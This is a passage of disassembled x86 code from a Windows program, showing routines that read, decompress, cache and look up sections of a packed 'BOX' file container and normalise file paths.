xchg eax, esp mov [esi+1D1A0553h], ch adc [ecx+ebx*4+25h], ch jecxz short loc_414B8B std aas mov ecx, 0C93875C5h cwde db 2Eh repne xchg eax, ebx dec edi sbb esi, eax mov ds:0D80E808Dh, eax retf ; --------------------------------------------------------------------------- dw 0A6BEh dd 82757C36h, 9AA9B5E7h, 257938C3h, 8E81FB08h, 92C0F818h dd 0C3F2822Ah, 7BAD2B87h, 11B1D72Fh, 605D70CEh, 42C4B12Fh dd 62828F9Ch, 0BEB1BBECh, 0F2E5F4A3h, 0E961E4FFh, 9090BFCCh dd 0C085C033h, 0AEBEE75h ; --------------------------------------------------------------------------- loc_414C30: ; CODE XREF: _3:00414BB3j mov ecx, 0EF000014h call sub_41BA32 loc_414C3A: ; CODE XREF: _3:00414B36j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp+10h] jnb short loc_414C48 xor eax, eax jmp short loc_414C53 ; --------------------------------------------------------------------------- loc_414C48: ; CODE XREF: _3:00414C42j mov eax, [ebp+14h] mov ecx, [ebp+10h] mov [eax], ecx mov eax, [ebp-4] loc_414C53: ; CODE XREF: _3:00414AF0j _3:00414B15j ... pop edi pop esi pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C5A proc near ; CODE XREF: sub_415009+30p ; sub_415009+EBp var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00414EAB SIZE 0000015E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213B0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 68h push ebx push esi push edi mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax mov eax, [ebp+arg_0] mov ecx, ds:dword_424888 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 mov [ebp+var_24], eax and [ebp+var_28], 0 and [ebp+var_40], 0 jmp short loc_414CAE ; --------------------------------------------------------------------------- loc_414CA7: ; CODE XREF: sub_414C5A:loc_414CEBj mov eax, [ebp+var_40] inc eax mov [ebp+var_40], eax loc_414CAE: ; CODE XREF: sub_414C5A+4Bj cmp [ebp+var_40], 3 jnb short loc_414CED mov eax, [ebp+var_40] imul eax, 18h mov ecx, [ebp+arg_0] mov eax, ds:dword_423B74[eax] cmp eax, [ecx] jnz short loc_414CEB mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:dword_423B70[eax] cmp eax, [ebp+arg_4] jnz short loc_414CEB mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:off_423B78[eax] mov eax, [eax] jmp loc_414FF8 ; --------------------------------------------------------------------------- loc_414CEB: ; CODE XREF: sub_414C5A+6Bj ; sub_414C5A+7Cj jmp short loc_414CA7 ; --------------------------------------------------------------------------- loc_414CED: ; CODE XREF: sub_414C5A+58j lea eax, [ebp+var_48] push eax call ds:dword_4246AC ; GetSystemTimeAsFileTime and [ebp+var_4C], 0 jmp short loc_414D04 ; --------------------------------------------------------------------------- loc_414CFD: ; CODE XREF: sub_414C5A:loc_414D4Bj mov eax, [ebp+var_4C] inc eax mov [ebp+var_4C], eax loc_414D04: ; CODE XREF: sub_414C5A+A1j cmp [ebp+var_4C], 3 jnb short loc_414D4D mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_423B68 mov [ebp+var_74], eax mov eax, [ebp+var_74] mov ecx, [ebp+var_44] cmp ecx, [eax+4] jl short loc_414D4B jg short loc_414D2F mov eax, [ebp+var_74] mov ecx, [ebp+var_48] cmp ecx, [eax] jbe short loc_414D4B loc_414D2F: ; CODE XREF: sub_414C5A+C9j mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_423B68 mov ecx, [eax] mov [ebp+var_48], ecx mov eax, [eax+4] mov [ebp+var_44], eax mov eax, [ebp+var_4C] mov [ebp+var_28], eax loc_414D4B: ; CODE XREF: sub_414C5A+C7j ; sub_414C5A+D3j jmp short loc_414CFD ; --------------------------------------------------------------------------- loc_414D4D: ; CODE XREF: sub_414C5A+AEj mov eax, [ebp+var_28] imul eax, 18h and ds:dword_423B70[eax], 0 mov eax, [ebp+var_28] imul eax, 18h and ds:dword_423B74[eax], 0 mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_423B68 and dword ptr [eax], 0 and dword ptr [eax+4], 0 mov eax, [ebp+var_28] imul eax, 18h mov eax, ds:off_423B78[eax] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] cmp dword ptr [ecx+eax+8], 0 jnz loc_414EAB mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_54], eax and [ebp+var_50], 0 and [ebp+var_4], 0 mov eax, [ebp+var_54] shl eax, 2 push eax call sub_41BA4A pop ecx mov [ebp+var_6C], eax mov eax, [ebp+var_6C] mov [ebp+var_50], eax and [ebp+var_58], 0 mov eax, [ebp+var_54] shl eax, 2 mov ecx, [ebp+var_34] mov ecx, [ecx+4] sub ecx, eax mov [ebp+var_5C], ecx push 0 push 0 push [ebp+var_5C] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_424708 ; SetFilePointer cmp eax, [ebp+var_5C] jz short loc_414E19 push 0FFFFFFFFh and [ebp+var_78], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_78] jmp loc_414FF8 ; --------------------------------------------------------------------------- loc_414E19: ; CODE XREF: sub_414C5A+1A4j push 0 lea eax, [ebp+var_58] push eax mov eax, [ebp+var_54] shl eax, 2 push eax push [ebp+var_50] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_4246FC ; ReadFile test eax, eax jnz short loc_414E52 push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_414FF8 ; --------------------------------------------------------------------------- loc_414E52: ; CODE XREF: sub_414C5A+1DDj mov eax, [ebp+var_54] shl eax, 2 cmp [ebp+var_58], eax jz short loc_414E76 push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_414FF8 ; --------------------------------------------------------------------------- loc_414E76: ; CODE XREF: sub_414C5A+201j mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov edx, [ebp+var_50] mov [ecx+eax+8], edx and [ebp+var_50], 0 or [ebp+var_4], 0FFFFFFFFh call sub_414E9B jmp short loc_414EAB sub_414C5A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414E9B proc near ; CODE XREF: sub_414C5A+23Ap ; DATA XREF: _4:004213B8o mov eax, [ebp-50h] mov [ebp-70h], eax push dword ptr [ebp-70h] call sub_41BACD pop ecx retn sub_414E9B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414C5A loc_414EAB: ; CODE XREF: sub_414C5A+144j ; sub_414C5A+23Fj mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov eax, [ecx+eax+8] mov [ebp+var_30], eax and [ebp+var_20], 0 and [ebp+var_1C], 0 cmp [ebp+arg_4], 0 jz short loc_414F2B mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_60], eax mov eax, [ebp+arg_4] cmp eax, [ebp+var_60] jb short loc_414EFE push ds:off_4214F0 push 93h push ds:off_4214F4 call sub_41BB7C loc_414EFE: ; CODE XREF: sub_414C5A+28Cj and [ebp+var_64], 0 jmp short loc_414F0B ; --------------------------------------------------------------------------- loc_414F04: ; CODE XREF: sub_414C5A+2CFj mov eax, [ebp+var_64] inc eax mov [ebp+var_64], eax loc_414F0B: ; CODE XREF: sub_414C5A+2A8j mov eax, [ebp+var_64] cmp eax, [ebp+arg_4] jnb short loc_414F2B mov eax, [ebp+var_64] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh mov ecx, [ebp+var_20] add ecx, eax mov [ebp+var_20], ecx jmp short loc_414F04 ; --------------------------------------------------------------------------- loc_414F2B: ; CODE XREF: sub_414C5A+273j ; sub_414C5A+2B7j lea eax, [ebp+var_1C] push eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh push eax mov eax, [ebp+var_34] mov eax, [eax+4] add eax, [ebp+var_20] push eax push [ebp+arg_0] call loc_414A0E mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz short loc_414F60 xor eax, eax jmp loc_414FF8 ; --------------------------------------------------------------------------- loc_414F60: ; CODE XREF: sub_414C5A+2FDj mov [ebp+var_2C], 10000h mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 80000000h test eax, eax jnz short loc_414FAC push [ebp+var_1C] push [ebp+var_38] lea eax, [ebp+var_2C] push eax push [ebp+var_3C] call sub_420CCE add esp, 10h mov [ebp+var_68], eax cmp [ebp+var_68], 0 jz short loc_414FAA push [ebp+var_68] push offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"... call sub_41BE16 pop ecx pop ecx xor eax, eax jmp short loc_414FF8 ; --------------------------------------------------------------------------- loc_414FAA: ; CODE XREF: sub_414C5A+33Bj jmp short loc_414FC3 ; --------------------------------------------------------------------------- loc_414FAC: ; CODE XREF: sub_414C5A+31Dj mov ecx, [ebp+var_1C] mov esi, [ebp+var_38] mov edi, [ebp+var_3C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_414FC3: ; CODE XREF: sub_414C5A:loc_414FAAj mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_4] mov ds:dword_423B70[eax], ecx mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_0] mov ecx, [ecx] mov ds:dword_423B74[eax], ecx mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_423B68 push eax call ds:dword_4246AC ; GetSystemTimeAsFileTime mov eax, [ebp+var_3C] loc_414FF8: ; CODE XREF: sub_414C5A+8Cj ; sub_414C5A+1BAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_414C5A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415009 proc near ; CODE XREF: sub_415175+16Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push esi push edi mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_14], eax mov eax, [ebp+var_14] shr eax, 10h mov [ebp+var_10], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] shr eax, 10h mov [ebp+var_4], eax push [ebp+var_10] push [ebp+arg_0] call sub_414C5A mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41504E xor eax, eax jmp loc_41516F ; --------------------------------------------------------------------------- loc_41504E: ; CODE XREF: sub_415009+3Cj mov eax, [ebp+var_14] xor edx, edx mov ecx, 10000h div ecx mov [ebp+var_8], edx mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_415072 mov eax, [ebp+arg_8] mov [ebp+var_18], eax jmp short loc_41507D ; --------------------------------------------------------------------------- loc_415072: ; CODE XREF: sub_415009+5Fj mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_18], eax loc_41507D: ; CODE XREF: sub_415009+67j mov ecx, [ebp+var_18] mov esi, [ebp+var_C] add esi, [ebp+var_8] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_4150AC mov eax, [ebp+arg_8] mov [ebp+var_1C], eax jmp short loc_4150B7 ; --------------------------------------------------------------------------- loc_4150AC: ; CODE XREF: sub_415009+99j mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_1C], eax loc_4150B7: ; CODE XREF: sub_415009+A1j mov eax, [ebp+var_1C] mov [ebp+var_8], eax loc_4150BD: ; CODE XREF: sub_415009+15Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jbe loc_41516C mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] ja short loc_4150EE push ds:off_4214F0 push 0BBh push ds:off_4214F4 call sub_41BB7C loc_4150EE: ; CODE XREF: sub_415009+CDj push [ebp+var_10] push [ebp+arg_0] call sub_414C5A mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_415106 xor eax, eax jmp short loc_41516F ; --------------------------------------------------------------------------- loc_415106: ; CODE XREF: sub_415009+F7j mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_41511E mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_20], eax jmp short loc_415125 ; --------------------------------------------------------------------------- loc_41511E: ; CODE XREF: sub_415009+108j mov [ebp+var_20], 10000h loc_415125: ; CODE XREF: sub_415009+113j mov ecx, [ebp+var_20] mov esi, [ebp+var_C] mov edi, [ebp+arg_4] add edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_415157 mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_24], eax jmp short loc_41515E ; --------------------------------------------------------------------------- loc_415157: ; CODE XREF: sub_415009+141j mov [ebp+var_24], 10000h loc_41515E: ; CODE XREF: sub_415009+14Cj mov eax, [ebp+var_8] add eax, [ebp+var_24] mov [ebp+var_8], eax jmp loc_4150BD ; --------------------------------------------------------------------------- loc_41516C: ; CODE XREF: sub_415009+BAj push 1 pop eax loc_41516F: ; CODE XREF: sub_415009+40j ; sub_415009+FBj pop edi pop esi leave retn 0Ch sub_415009 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415175 proc near ; CODE XREF: sub_41396C+242p ; sub_413FDF+172p ... var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0041545B SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213C0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 3Ch push ebx push esi push edi cmp [ebp+arg_14], 0 jnz short loc_4151A6 lea eax, [ebp+var_1C] mov [ebp+arg_14], eax loc_4151A6: ; CODE XREF: sub_415175+29j mov eax, ds:dword_424864 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jz short loc_4151C7 mov eax, [ebp+var_3C] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_40], 1 jmp short loc_4151CB ; --------------------------------------------------------------------------- loc_4151C7: ; CODE XREF: sub_415175+3Dj and [ebp+var_40], 0 loc_4151CB: ; CODE XREF: sub_415175+50j movzx eax, [ebp+var_40] test eax, eax jz loc_41545B and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_415434 cmp [ebp+arg_10], 0 jz short loc_415205 mov eax, [ebp+arg_10] mov dword ptr [eax], 3E5h loc_415205: ; CODE XREF: sub_415175+85j mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_415252 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246FC ; ReadFile mov ecx, [ebp+arg_14] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_48] jmp loc_41545D ; --------------------------------------------------------------------------- loc_415252: ; CODE XREF: sub_415175+A5j cmp [ebp+arg_10], 0 jz short loc_41527F mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_41527F mov eax, [ebp+arg_10] mov ecx, [ebp+var_20] mov ecx, [ecx+4] mov [eax+0Ch], ecx mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+8] mov [eax+4], ecx loc_41527F: ; CODE XREF: sub_415175+E1j ; sub_415175+F0j mov eax, [ebp+arg_8] mov [ebp+var_28], eax mov eax, [ebp+var_20] mov eax, [eax+4] add eax, [ebp+arg_8] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_4152A5 mov eax, [ebp+var_30] mov ecx, [ebp+var_20] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp+var_28], eax loc_4152A5: ; CODE XREF: sub_415175+11Fj cmp [ebp+arg_C], 0 jnz short loc_4152B1 lea eax, [ebp+var_2C] mov [ebp+arg_C], eax loc_4152B1: ; CODE XREF: sub_415175+134j mov eax, [ebp+arg_C] and dword ptr [eax], 0 cmp [ebp+arg_8], 0 jbe loc_4153B6 cmp [ebp+var_28], 0 jbe loc_4153B6 mov eax, [ebp+var_30] mov eax, [eax+0Ch] and eax, 2 test eax, eax jz short loc_4152FC push [ebp+var_28] push [ebp+arg_4] push [ebp+var_20] call sub_415009 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4152F7 mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax], ecx loc_4152F7: ; CODE XREF: sub_415175+178j jmp loc_4153B4 ; --------------------------------------------------------------------------- loc_4152FC: ; CODE XREF: sub_415175+161j and [ebp+var_34], 0 loc_415300: ; CODE XREF: sub_415175+23Aj mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb loc_4153B4 mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_415324 mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_4C], eax jmp short loc_41532B ; --------------------------------------------------------------------------- loc_415324: ; CODE XREF: sub_415175+1A2j mov [ebp+var_4C], 10000h loc_41532B: ; CODE XREF: sub_415175+1ADj push [ebp+arg_C] push [ebp+var_4C] mov eax, [ebp+var_30] mov eax, [eax+4] mov ecx, [ebp+var_20] add eax, [ecx+4] add eax, [ebp+var_34] push eax push [ebp+var_20] call loc_414A0E mov [ebp+var_38], eax cmp [ebp+var_38], 0 jz short loc_41537B mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_41536A mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_50], eax jmp short loc_415371 ; --------------------------------------------------------------------------- loc_41536A: ; CODE XREF: sub_415175+1E8j mov [ebp+var_50], 10000h loc_415371: ; CODE XREF: sub_415175+1F3j mov eax, [ebp+arg_C] mov eax, [eax] cmp eax, [ebp+var_50] jz short loc_415381 loc_41537B: ; CODE XREF: sub_415175+1DBj and [ebp+var_24], 0 jmp short loc_4153B4 ; --------------------------------------------------------------------------- loc_415381: ; CODE XREF: sub_415175+204j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] mov ecx, [eax] mov esi, [ebp+var_38] mov edi, [ebp+arg_4] add edi, [ebp+var_34] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] add ecx, [eax] mov [ebp+var_34], ecx jmp loc_415300 ; --------------------------------------------------------------------------- loc_4153B4: ; CODE XREF: sub_415175:loc_4152F7j ; sub_415175+191j ... jmp short loc_4153C3 ; --------------------------------------------------------------------------- loc_4153B6: ; CODE XREF: sub_415175+146j ; sub_415175+150j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] and dword ptr [eax], 0 loc_4153C3: ; CODE XREF: sub_415175:loc_4153B4j cmp [ebp+var_24], 0 jz short loc_4153DA mov eax, [ebp+var_20] mov eax, [eax+4] mov ecx, [ebp+arg_C] add eax, [ecx] mov ecx, [ebp+var_20] mov [ecx+4], eax loc_4153DA: ; CODE XREF: sub_415175+252j mov eax, [ebp+arg_14] mov ecx, [ebp+var_24] mov [eax], ecx cmp [ebp+arg_10], 0 jz short loc_41541B mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_41541B mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+0Ch] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax], 0 loc_41541B: ; CODE XREF: sub_415175+271j ; sub_415175+280j push 0FFFFFFFFh mov [ebp+var_54], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_54] jmp short loc_41545D ; --------------------------------------------------------------------------- loc_415434: ; CODE XREF: sub_415175+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_41543F jmp short loc_41545B sub_415175 endp ; =============== S U B R O U T I N E ======================================= sub_41543F proc near ; CODE XREF: sub_415175+2C3p ; DATA XREF: _4:004213C8o mov eax, ds:dword_424864 mov [ebp-44h], eax cmp dword ptr [ebp-44h], 0 jz short locret_41545A mov eax, [ebp-44h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_41545A: ; CODE XREF: sub_41543F+Cj retn sub_41543F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415175 loc_41545B: ; CODE XREF: sub_415175+5Cj ; sub_415175+2C8j xor eax, eax loc_41545D: ; CODE XREF: sub_415175+D8j ; sub_415175+2BDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_415175 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41546E proc near ; CODE XREF: sub_413272+91p ; sub_41553D+95p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_4], 1 mov [ebp+var_8], 2 jmp short loc_41548E ; --------------------------------------------------------------------------- loc_415487: ; CODE XREF: sub_41546E+5Ej ; sub_41546E+7Fj ... mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41548E: ; CODE XREF: sub_41546E+17j mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jnb loc_415521 mov eax, ds:dword_424888 add eax, [ebp+var_8] mov al, [eax+114h] mov [ebp+var_C], al movsx eax, [ebp+var_C] mov ecx, ds:dword_424888 add ecx, [ebp+var_4] movsx ecx, byte ptr [ecx+114h] cmp eax, ecx jnz short loc_4154CE movsx eax, [ebp+var_C] cmp eax, 5Ch jnz short loc_4154CE jmp short loc_415487 ; --------------------------------------------------------------------------- loc_4154CE: ; CODE XREF: sub_41546E+53j ; sub_41546E+5Cj movsx eax, [ebp+var_C] cmp eax, 2Fh jnz short loc_4154EF mov eax, ds:dword_424888 add eax, [ebp+var_8] mov byte ptr [eax+114h], 5Ch mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax jmp short loc_415487 ; --------------------------------------------------------------------------- loc_4154EF: ; CODE XREF: sub_41546E+67j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] jz short loc_415515 mov eax, ds:dword_424888 add eax, [ebp+var_4] mov ecx, ds:dword_424888 add ecx, [ebp+var_8] mov cl, [ecx+114h] mov [eax+115h], cl loc_415515: ; CODE XREF: sub_41546E+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp loc_415487 ; --------------------------------------------------------------------------- loc_415521: ; CODE XREF: sub_41546E+26j mov eax, ds:dword_424888 add eax, [ebp+var_4] and byte ptr [eax+115h], 0 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+var_10] sub ecx, eax mov eax, ecx leave retn sub_41546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41553D proc near ; CODE XREF: sub_413D44+3Ap ; sub_414344+19p ... var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 00415854 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213D0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 0 jz short loc_41556E mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_41556E: ; CODE XREF: sub_41553D+29j cmp ds:dword_424888, 0 jnz short loc_41557E xor eax, eax jmp loc_415856 ; --------------------------------------------------------------------------- loc_41557E: ; CODE XREF: sub_41553D+38j and [ebp+var_1C], 0 push offset dword_424848 call ds:dword_424644 ; RtlEnterCriticalSection and [ebp+var_4], 0 lea eax, [ebp+var_1C] push eax mov eax, ds:dword_424888 add eax, 114h push eax push 104h push [ebp+arg_0] call ds:dword_424688 ; GetFullPathNameA mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_41583D push [ebp+var_20] mov eax, ds:dword_424888 add eax, 114h push eax call ds:dword_424748 ; CharUpperBuffA mov ecx, [ebp+var_20] call sub_41546E mov ecx, [ebp+var_1C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, ds:dword_424888 mov ecx, [eax+21Ch] mov edi, ds:dword_424888 add edi, 10h mov esi, ds:dword_424888 add esi, 114h xor eax, eax repe cmpsb jnz loc_4157B2 mov eax, ds:dword_424888 mov eax, [eax+21Ch] mov ecx, ds:dword_424888 lea eax, [ecx+eax+114h] mov [ebp+var_24], eax mov edi, [ebp+var_24] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_30], ecx mov [ebp+var_34], 1 mov eax, ds:dword_424888 mov eax, [eax+0Ch] mov [ebp+var_28], eax and [ebp+var_2C], 0 loc_41564A: ; CODE XREF: sub_41553D:loc_4156EAj mov eax, [ebp+var_34] cmp eax, [ebp+var_28] ja loc_4156EF mov eax, [ebp+var_34] add eax, [ebp+var_28] shr eax, 1 mov [ebp+var_40], eax mov eax, [ebp+var_40] dec eax shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov eax, [ecx+eax] mov [ebp+var_38], eax push [ebp+var_30] mov eax, [ebp+var_38] push dword ptr [eax] push [ebp+var_24] call sub_4105F0 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jnz short loc_4156D4 mov eax, [ebp+var_38] mov eax, [eax] mov ecx, [ebp+var_30] movsx eax, byte ptr [eax+ecx] test eax, eax jz short loc_4156B4 mov eax, [ebp+var_38] mov eax, [eax] mov ecx, [ebp+var_30] movsx eax, byte ptr [eax+ecx] cmp eax, 5Ch jnz short loc_4156CB loc_4156B4: ; CODE XREF: sub_41553D+164j mov eax, [ebp+var_40] dec eax shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_2C], ecx jmp short loc_4156EF ; --------------------------------------------------------------------------- loc_4156CB: ; CODE XREF: sub_41553D+175j mov eax, [ebp+var_40] dec eax mov [ebp+var_28], eax jmp short loc_4156EA ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_41553D+154j cmp 